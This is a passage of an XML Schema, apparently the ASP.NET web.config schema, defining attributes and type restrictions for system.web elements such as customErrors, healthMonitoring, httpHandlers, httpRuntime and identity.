1459 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1460 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1461 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1462 </xs:complexType>
1463 </xs:element>
1464 </xs:choice>
1465 <xs:attribute name="assemblyPostProcessorType" type="xs:string" use="optional" />
1466 <xs:attribute name="batch" type="small_boolean_Type" use="optional" />
1467 <xs:attribute name="batchTimeout" use="optional">
1468 <xs:simpleType>
1469 <xs:restriction base="xs:string">
1470 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1471 </xs:restriction>
1472 </xs:simpleType>
1473 </xs:attribute>
1474 <xs:attribute name="debug" type="small_boolean_Type" use="optional" />
1475 <xs:attribute name="defaultLanguage" type="xs:string" use="optional" />
1476 <xs:attribute name="explicit" type="small_boolean_Type" use="optional" />
1477 <xs:attribute name="maxBatchGeneratedFileSize" type="xs:int" use="optional" />
1478 <xs:attribute name="maxBatchSize" type="xs:int" use="optional" />
1479 <xs:attribute name="numRecompilesBeforeAppRestart" type="xs:int" use="optional" />
1480 <xs:attribute name="strict" type="small_boolean_Type" use="optional" />
1481 <xs:attribute name="tempDirectory" type="xs:string" use="optional" />
1482 <xs:attribute name="urlLinePragmas" type="small_boolean_Type" use="optional" />
1483 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1484 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1485 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1486 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1487 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1488 <xs:attribute name="configSource" type="xs:string" use="optional" />
1489 </xs:complexType>
1490 </xs:element>
1491 <xs:element name="customErrors" vs:help="configuration/system.web/customErrors">
1492 <xs:complexType>
1493 <xs:choice minOccurs="0" maxOccurs="unbounded">
1494 <xs:element name="error" vs:help="configuration/system.web/customErrors/error">
1495 <xs:complexType>
1496 <xs:attribute name="redirect" use="required">
1497 <xs:simpleType>
1498 <xs:restriction base="xs:string">
1499 <xs:minLength value="1" />
1500 </xs:restriction>
1501 </xs:simpleType>
1502 </xs:attribute>
1503 <xs:attribute name="statusCode" use="required">
1504 <xs:simpleType>
1505 <xs:restriction base="xs:int">
1506 <xs:minInclusive value="100" />
1507 <xs:maxInclusive value="999" />
1508 </xs:restriction>
1509 </xs:simpleType>
1510 </xs:attribute>
1511 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1512 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1513 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1514 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1515 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1516 </xs:complexType>
1517 </xs:element>
1518 </xs:choice>
1519 <xs:attribute name="defaultRedirect" type="xs:string" use="optional" />
1520 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1521 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1522 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1523 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1524 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1525 <xs:attribute name="mode" use="optional">
1526 <xs:simpleType>
1527 <xs:restriction base="xs:NMTOKEN">
1528 <xs:enumeration value="Off" />
1529 <xs:enumeration value="On" />
1530 <xs:enumeration value="RemoteOnly" />
1531 </xs:restriction>
1532 </xs:simpleType>
1533 </xs:attribute>
1534 <xs:attribute name="configSource" type="xs:string" use="optional" />
1535 </xs:complexType>
1536 </xs:element>
1537 <xs:element name="deployment" vs:help="configuration/system.web/deployment">
1538 <xs:complexType>
1539 <xs:attribute name="retail" type="small_boolean_Type" use="optional" />
1540 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1541 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1542 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1543 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1544 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1545 <xs:attribute name="configSource" type="xs:string" use="optional" />
1546 </xs:complexType>
1547 </xs:element>
1548 <xs:element name="deviceFilters" vs:help="configuration/system.web/deviceFilters">
1549 <xs:complexType>
1550 <xs:choice minOccurs="0" maxOccurs="unbounded">
1551 <xs:element name="filter" vs:help="configuration/system.web/deviceFilters/filter">
1552 <xs:complexType>
1553 <xs:attribute name="argument" use="optional">
1554 <xs:simpleType>
1555 <xs:restriction base="xs:string">
1556 <xs:minLength value="1" />
1557 </xs:restriction>
1558 </xs:simpleType>
1559 </xs:attribute>
1560 <xs:attribute name="compare" use="optional">
1561 <xs:simpleType>
1562 <xs:restriction base="xs:string">
1563 <xs:minLength value="1" />
1564 </xs:restriction>
1565 </xs:simpleType>
1566 </xs:attribute>
1567 <xs:attribute name="type" type="xs:string" use="optional" />
1568 <xs:attribute name="method" use="optional">
1569 <xs:simpleType>
1570 <xs:restriction base="xs:string">
1571 <xs:minLength value="1" />
1572 </xs:restriction>
1573 </xs:simpleType>
1574 </xs:attribute>
1575 <xs:attribute name="name" use="required">
1576 <xs:simpleType>
1577 <xs:restriction base="xs:string">
1578 <xs:minLength value="1" />
1579 </xs:restriction>
1580 </xs:simpleType>
1581 </xs:attribute>
1582 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1583 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1584 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1585 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1586 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1587 </xs:complexType>
1588 </xs:element>
1589 </xs:choice>
1590 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1591 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1592 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1593 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1594 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1595 <xs:attribute name="configSource" type="xs:string" use="optional" />
1596 </xs:complexType>
1597 </xs:element>
1598 <xs:element name="globalization" vs:help="configuration/system.web/globalization">
1599 <xs:complexType>
1600 <xs:attribute name="culture" type="xs:string" use="optional" />
1601 <xs:attribute name="enableBestFitResponseEncoding" type="small_boolean_Type" use="optional" />
1602 <xs:attribute name="enableClientBasedCulture" type="small_boolean_Type" use="optional" />
1603 <xs:attribute name="fileEncoding" type="xs:string" use="optional" />
1604 <xs:attribute name="requestEncoding" type="xs:string" use="optional" />
1605 <xs:attribute name="resourceProviderFactoryType" type="xs:string" use="optional" />
1606 <xs:attribute name="responseEncoding" type="xs:string" use="optional" />
1607 <xs:attribute name="responseHeaderEncoding" type="xs:string" use="optional" />
1608 <xs:attribute name="uiCulture" type="xs:string" use="optional" />
1609 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1610 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1611 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1612 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1613 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1614 <xs:attribute name="configSource" type="xs:string" use="optional" />
1615 </xs:complexType>
1616 </xs:element>
1617 <xs:element name="healthMonitoring" vs:help="configuration/system.web/healthMonitoring">
1618 <xs:complexType>
1619 <xs:choice minOccurs="0" maxOccurs="unbounded">
1620 <xs:element name="bufferModes" vs:help="configuration/system.web/healthMonitoring/bufferModes">
1621 <xs:complexType>
1622 <xs:choice minOccurs="0" maxOccurs="unbounded">
1623 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/bufferModes/add">
1624 <xs:complexType>
1625 <xs:attribute name="maxBufferSize" use="required">
1626 <xs:simpleType>
1627 <xs:union memberTypes="xs:int Infinite">
1628 <xs:simpleType>
1629 <xs:restriction base="xs:int">
1630 <xs:minInclusive value="1" />
1631 </xs:restriction>
1632 </xs:simpleType>
1633 </xs:union>
1634 </xs:simpleType>
1635 </xs:attribute>
1636 <xs:attribute name="maxBufferThreads" use="optional">
1637 <xs:simpleType>
1638 <xs:union memberTypes="xs:int Infinite">
1639 <xs:simpleType>
1640 <xs:restriction base="xs:int">
1641 <xs:minInclusive value="1" />
1642 </xs:restriction>
1643 </xs:simpleType>
1644 </xs:union>
1645 </xs:simpleType>
1646 </xs:attribute>
1647 <xs:attribute name="maxFlushSize" use="required">
1648 <xs:simpleType>
1649 <xs:union memberTypes="xs:int Infinite">
1650 <xs:simpleType>
1651 <xs:restriction base="xs:int">
1652 <xs:minInclusive value="1" />
1653 </xs:restriction>
1654 </xs:simpleType>
1655 </xs:union>
1656 </xs:simpleType>
1657 </xs:attribute>
1658 <xs:attribute name="name" use="required">
1659 <xs:simpleType>
1660 <xs:restriction base="xs:string">
1661 <xs:minLength value="1" />
1662 </xs:restriction>
1663 </xs:simpleType>
1664 </xs:attribute>
1665 <xs:attribute name="regularFlushInterval" use="required">
1666 <xs:simpleType>
1667 <xs:restriction base="xs:string">
1668 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1669 </xs:restriction>
1670 </xs:simpleType>
1671 </xs:attribute>
1672 <xs:attribute name="urgentFlushInterval" type="xs:string" use="required" />
1673 <xs:attribute name="urgentFlushThreshold" use="required">
1674 <xs:simpleType>
1675 <xs:union memberTypes="xs:int Infinite">
1676 <xs:simpleType>
1677 <xs:restriction base="xs:int">
1678 <xs:minInclusive value="1" />
1679 </xs:restriction>
1680 </xs:simpleType>
1681 </xs:union>
1682 </xs:simpleType>
1683 </xs:attribute>
1684 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1685 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1686 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1687 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1688 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1689 </xs:complexType>
1690 </xs:element>
1691 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/bufferModes/remove">
1692 <xs:complexType>
1693 <xs:attribute name="name" use="required">
1694 <xs:simpleType>
1695 <xs:restriction base="xs:string">
1696 <xs:minLength value="1" />
1697 </xs:restriction>
1698 </xs:simpleType>
1699 </xs:attribute>
1700 </xs:complexType>
1701 </xs:element>
1702 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/bufferModes/clear">
1703 <xs:complexType>
1704 <!--tag is empty-->
1705 </xs:complexType>
1706 </xs:element>
1707 </xs:choice>
1708 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1709 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1710 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1711 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1712 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1713 </xs:complexType>
1714 </xs:element>
1715 <xs:element name="eventMappings" vs:help="configuration/system.web/healthMonitoring/eventMappings">
1716 <xs:complexType>
1717 <xs:choice minOccurs="0" maxOccurs="unbounded">
1718 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/eventMappings/add">
1719 <xs:complexType>
1720 <xs:attribute name="endEventCode" use="optional">
1721 <xs:simpleType>
1722 <xs:restriction base="xs:int">
1723 <xs:minInclusive value="0" />
1724 </xs:restriction>
1725 </xs:simpleType>
1726 </xs:attribute>
1727 <xs:attribute name="name" type="xs:string" use="required" />
1728 <xs:attribute name="startEventCode" use="optional">
1729 <xs:simpleType>
1730 <xs:restriction base="xs:int">
1731 <xs:minInclusive value="0" />
1732 </xs:restriction>
1733 </xs:simpleType>
1734 </xs:attribute>
1735 <xs:attribute name="type" type="xs:string" use="required" />
1736 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1737 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1738 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1739 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1740 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1741 </xs:complexType>
1742 </xs:element>
1743 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/eventMappings/remove">
1744 <xs:complexType>
1745 <xs:attribute name="name" type="xs:string" use="required" />
1746 </xs:complexType>
1747 </xs:element>
1748 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/eventMappings/clear">
1749 <xs:complexType>
1750 <!--tag is empty-->
1751 </xs:complexType>
1752 </xs:element>
1753 </xs:choice>
1754 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1755 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1756 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1757 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1758 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1759 </xs:complexType>
1760 </xs:element>
1761 <xs:element name="profiles" vs:help="configuration/system.web/healthMonitoring/profiles">
1762 <xs:complexType>
1763 <xs:choice minOccurs="0" maxOccurs="unbounded">
1764 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/profiles/add">
1765 <xs:complexType>
1766 <xs:attribute name="custom" type="xs:string" use="optional" />
1767 <xs:attribute name="maxLimit" use="optional">
1768 <xs:simpleType>
1769 <xs:union memberTypes="xs:int Infinite">
1770 <xs:simpleType>
1771 <xs:restriction base="xs:int">
1772 <xs:minInclusive value="0" />
1773 </xs:restriction>
1774 </xs:simpleType>
1775 </xs:union>
1776 </xs:simpleType>
1777 </xs:attribute>
1778 <xs:attribute name="minInstances" use="optional">
1779 <xs:simpleType>
1780 <xs:restriction base="xs:int">
1781 <xs:minInclusive value="1" />
1782 </xs:restriction>
1783 </xs:simpleType>
1784 </xs:attribute>
1785 <xs:attribute name="minInterval" type="xs:string" use="optional" />
1786 <xs:attribute name="name" use="required">
1787 <xs:simpleType>
1788 <xs:restriction base="xs:string">
1789 <xs:minLength value="1" />
1790 </xs:restriction>
1791 </xs:simpleType>
1792 </xs:attribute>
1793 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1794 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1795 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1796 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1797 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1798 </xs:complexType>
1799 </xs:element>
1800 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/profiles/remove">
1801 <xs:complexType>
1802 <xs:attribute name="name" use="required">
1803 <xs:simpleType>
1804 <xs:restriction base="xs:string">
1805 <xs:minLength value="1" />
1806 </xs:restriction>
1807 </xs:simpleType>
1808 </xs:attribute>
1809 </xs:complexType>
1810 </xs:element>
1811 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/profiles/clear">
1812 <xs:complexType>
1813 <!--tag is empty-->
1814 </xs:complexType>
1815 </xs:element>
1816 </xs:choice>
1817 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1818 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1819 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1820 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1821 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1822 </xs:complexType>
1823 </xs:element>
1824 <xs:element name="providers" vs:help="configuration/system.web/healthMonitoring/providers">
1825 <xs:complexType>
1826 <xs:choice minOccurs="0" maxOccurs="unbounded">
1827 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/providers/add">
1828 <xs:complexType>
1829 <xs:attribute name="name" type="xs:string" use="required" />
1830 <xs:attribute name="type" type="xs:string" use="required" />
1831 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1832 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1833 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1834 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1835 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1836 <xs:anyAttribute processContents="skip" />
1837 </xs:complexType>
1838 </xs:element>
1839 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/providers/remove">
1840 <xs:complexType>
1841 <xs:attribute name="name" type="xs:string" use="required" />
1842 </xs:complexType>
1843 </xs:element>
1844 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/providers/clear">
1845 <xs:complexType>
1846 <!--tag is empty-->
1847 </xs:complexType>
1848 </xs:element>
1849 </xs:choice>
1850 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1851 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1852 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1853 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1854 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1855 </xs:complexType>
1856 </xs:element>
1857 <xs:element name="rules" vs:help="configuration/system.web/healthMonitoring/rules">
1858 <xs:complexType>
1859 <xs:choice minOccurs="0" maxOccurs="unbounded">
1860 <xs:element name="add" vs:help="configuration/system.web/healthMonitoring/rules/add">
1861 <xs:complexType>
1862 <xs:attribute name="custom" type="xs:string" use="optional" />
1863 <xs:attribute name="eventName" type="xs:string" use="required" />
1864 <xs:attribute name="maxLimit" use="optional">
1865 <xs:simpleType>
1866 <xs:union memberTypes="xs:int Infinite">
1867 <xs:simpleType>
1868 <xs:restriction base="xs:int">
1869 <xs:minInclusive value="0" />
1870 </xs:restriction>
1871 </xs:simpleType>
1872 </xs:union>
1873 </xs:simpleType>
1874 </xs:attribute>
1875 <xs:attribute name="minInstances" use="optional">
1876 <xs:simpleType>
1877 <xs:restriction base="xs:int">
1878 <xs:minInclusive value="1" />
1879 </xs:restriction>
1880 </xs:simpleType>
1881 </xs:attribute>
1882 <xs:attribute name="minInterval" type="xs:string" use="optional" />
1883 <xs:attribute name="name" use="required">
1884 <xs:simpleType>
1885 <xs:restriction base="xs:string">
1886 <xs:minLength value="1" />
1887 </xs:restriction>
1888 </xs:simpleType>
1889 </xs:attribute>
1890 <xs:attribute name="profile" type="xs:string" use="optional" />
1891 <xs:attribute name="provider" type="xs:string" use="optional" />
1892 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1893 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1894 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1895 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1896 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1897 </xs:complexType>
1898 </xs:element>
1899 <xs:element name="remove" vs:help="configuration/system.web/healthMonitoring/rules/remove">
1900 <xs:complexType>
1901 <xs:attribute name="name" use="required">
1902 <xs:simpleType>
1903 <xs:restriction base="xs:string">
1904 <xs:minLength value="1" />
1905 </xs:restriction>
1906 </xs:simpleType>
1907 </xs:attribute>
1908 </xs:complexType>
1909 </xs:element>
1910 <xs:element name="clear" vs:help="configuration/system.web/healthMonitoring/rules/clear">
1911 <xs:complexType>
1912 <!--tag is empty-->
1913 </xs:complexType>
1914 </xs:element>
1915 </xs:choice>
1916 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1917 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1918 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1919 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1920 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1921 </xs:complexType>
1922 </xs:element>
1923 </xs:choice>
1924 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
1925 <xs:attribute name="heartbeatInterval" use="optional">
1926 <xs:simpleType>
1927 <xs:restriction base="xs:string">
1928 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1929 </xs:restriction>
1930 </xs:simpleType>
1931 </xs:attribute>
1932 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1933 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1934 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1935 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1936 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1937 <xs:attribute name="configSource" type="xs:string" use="optional" />
1938 </xs:complexType>
1939 </xs:element>
1940 <xs:element name="hostingEnvironment" vs:help="configuration/system.web/hostingEnvironment">
1941 <xs:complexType>
1942 <xs:attribute name="idleTimeout" use="optional">
1943 <xs:simpleType>
1944 <xs:restriction base="xs:string">
1945 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1946 </xs:restriction>
1947 </xs:simpleType>
1948 </xs:attribute>
1949 <xs:attribute name="shadowCopyBinAssemblies" type="small_boolean_Type" use="optional" />
1950 <xs:attribute name="shutdownTimeout" use="optional">
1951 <xs:simpleType>
1952 <xs:restriction base="xs:string">
1953 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1954 </xs:restriction>
1955 </xs:simpleType>
1956 </xs:attribute>
1957 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1958 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1959 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1960 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1961 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1962 <xs:attribute name="configSource" type="xs:string" use="optional" />
1963 </xs:complexType>
1964 </xs:element>
1965 <xs:element name="httpCookies" vs:help="configuration/system.web/httpCookies">
1966 <xs:complexType>
1967 <xs:attribute name="domain" type="xs:string" use="optional" />
1968 <xs:attribute name="httpOnlyCookies" type="small_boolean_Type" use="optional" />
1969 <xs:attribute name="requireSSL" type="small_boolean_Type" use="optional" />
1970 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1971 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1972 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1973 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1974 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1975 <xs:attribute name="configSource" type="xs:string" use="optional" />
1976 </xs:complexType>
1977 </xs:element>
1978 <xs:element name="httpHandlers" vs:help="configuration/system.web/httpHandlers">
1979 <xs:complexType>
1980 <xs:choice minOccurs="0" maxOccurs="unbounded">
1981 <xs:element name="add" vs:help="configuration/system.web/httpHandlers/add">
1982 <xs:complexType>
1983 <xs:attribute name="path" type="xs:string" use="required" />
1984 <xs:attribute name="type" type="xs:string" use="required" />
1985 <xs:attribute name="validate" type="small_boolean_Type" use="optional" />
1986 <xs:attribute name="verb" type="xs:string" use="required" />
1987 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1988 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1989 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1990 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1991 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1992 </xs:complexType>
1993 </xs:element>
1994 <xs:element name="remove" vs:help="configuration/system.web/httpHandlers/remove">
1995 <xs:complexType>
1996 <xs:attribute name="path" type="xs:string" use="required" />
1997 <xs:attribute name="verb" type="xs:string" use="required" />
1998 </xs:complexType>
1999 </xs:element>
2000 <xs:element name="clear" vs:help="configuration/system.web/httpHandlers/clear">
2001 <xs:complexType>
2002 <!--tag is empty-->
2003 </xs:complexType>
2004 </xs:element>
2005 </xs:choice>
2006 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2007 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2008 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2009 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2010 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2011 <xs:attribute name="configSource" type="xs:string" use="optional" />
2012 </xs:complexType>
2013 </xs:element>
2014 <xs:element name="httpModules" vs:help="configuration/system.web/httpModules">
2015 <xs:complexType>
2016 <xs:choice minOccurs="0" maxOccurs="unbounded">
2017 <xs:element name="add" vs:help="configuration/system.web/httpModules/add">
2018 <xs:complexType>
2019 <xs:attribute name="name" use="required">
2020 <xs:simpleType>
2021 <xs:restriction base="xs:string">
2022 <xs:minLength value="1" />
2023 </xs:restriction>
2024 </xs:simpleType>
2025 </xs:attribute>
2026 <xs:attribute name="type" type="xs:string" use="required" />
2027 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2028 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2029 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2030 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2031 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2032 </xs:complexType>
2033 </xs:element>
2034 <xs:element name="remove" vs:help="configuration/system.web/httpModules/remove">
2035 <xs:complexType>
2036 <xs:attribute name="name" use="required">
2037 <xs:simpleType>
2038 <xs:restriction base="xs:string">
2039 <xs:minLength value="1" />
2040 </xs:restriction>
2041 </xs:simpleType>
2042 </xs:attribute>
2043 </xs:complexType>
2044 </xs:element>
2045 <xs:element name="clear" vs:help="configuration/system.web/httpModules/clear">
2046 <xs:complexType>
2047 <!--tag is empty-->
2048 </xs:complexType>
2049 </xs:element>
2050 </xs:choice>
2051 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2052 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2053 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2054 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2055 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2056 <xs:attribute name="configSource" type="xs:string" use="optional" />
2057 </xs:complexType>
2058 </xs:element>
2059 <xs:element name="httpRuntime" vs:help="configuration/system.web/httpRuntime">
2060 <xs:complexType>
2061 <xs:attribute name="apartmentThreading" type="small_boolean_Type" use="optional" />
2062 <xs:attribute name="appRequestQueueLimit" use="optional">
2063 <xs:simpleType>
2064 <xs:restriction base="xs:int">
2065 <xs:minInclusive value="1" />
2066 </xs:restriction>
2067 </xs:simpleType>
2068 </xs:attribute>
2069 <xs:attribute name="delayNotificationTimeout" type="xs:string" use="optional" />
2070 <xs:attribute name="enable" type="small_boolean_Type" use="optional" />
2071 <xs:attribute name="enableHeaderChecking" type="small_boolean_Type" use="optional" />
2072 <xs:attribute name="enableKernelOutputCache" type="small_boolean_Type" use="optional" />
2073 <xs:attribute name="enableVersionHeader" type="small_boolean_Type" use="optional" />
2074 <xs:attribute name="executionTimeout" use="optional">
2075 <xs:simpleType>
2076 <xs:restriction base="xs:string">
2077 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2078 </xs:restriction>
2079 </xs:simpleType>
2080 </xs:attribute>
2081 <xs:attribute name="maxRequestLength" use="optional">
2082 <xs:simpleType>
2083 <xs:restriction base="xs:int">
2084 <xs:minInclusive value="0" />
2085 </xs:restriction>
2086 </xs:simpleType>
2087 </xs:attribute>
2088 <xs:attribute name="maxWaitChangeNotification" use="optional">
2089 <xs:simpleType>
2090 <xs:restriction base="xs:int">
2091 <xs:minInclusive value="0" />
2092 </xs:restriction>
2093 </xs:simpleType>
2094 </xs:attribute>
2095 <xs:attribute name="minFreeThreads" use="optional">
2096 <xs:simpleType>
2097 <xs:restriction base="xs:int">
2098 <xs:minInclusive value="0" />
2099 </xs:restriction>
2100 </xs:simpleType>
2101 </xs:attribute>
2102 <xs:attribute name="minLocalRequestFreeThreads" use="optional">
2103 <xs:simpleType>
2104 <xs:restriction base="xs:int">
2105 <xs:minInclusive value="0" />
2106 </xs:restriction>
2107 </xs:simpleType>
2108 </xs:attribute>
2109 <xs:attribute name="requestLengthDiskThreshold" use="optional">
2110 <xs:simpleType>
2111 <xs:restriction base="xs:int">
2112 <xs:minInclusive value="1" />
2113 </xs:restriction>
2114 </xs:simpleType>
2115 </xs:attribute>
2116 <xs:attribute name="requireRootedSaveAsPath" type="small_boolean_Type" use="optional" />
2117 <xs:attribute name="sendCacheControlHeader" type="small_boolean_Type" use="optional" />
2118 <xs:attribute name="shutdownTimeout" type="xs:string" use="optional" />
2119 <xs:attribute name="useFullyQualifiedRedirectUrl" type="small_boolean_Type" use="optional" />
2120 <xs:attribute name="waitChangeNotification" use="optional">
2121 <xs:simpleType>
2122 <xs:restriction base="xs:int">
2123 <xs:minInclusive value="0" />
2124 </xs:restriction>
2125 </xs:simpleType>
2126 </xs:attribute>
2127 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2128 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2129 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2130 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2131 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2132 <xs:attribute name="configSource" type="xs:string" use="optional" />
2133 </xs:complexType>
2134 </xs:element>
2135 <xs:element name="identity" vs:help="configuration/system.web/identity">
2136 <xs:complexType>
2137 <xs:attribute name="impersonate" type="small_boolean_Type" use="optional" />
2138 <xs:attribute name="password" type="xs:string" use="optional" />
2139 <xs:attribute name="userName" type="xs:string" use="optional" />
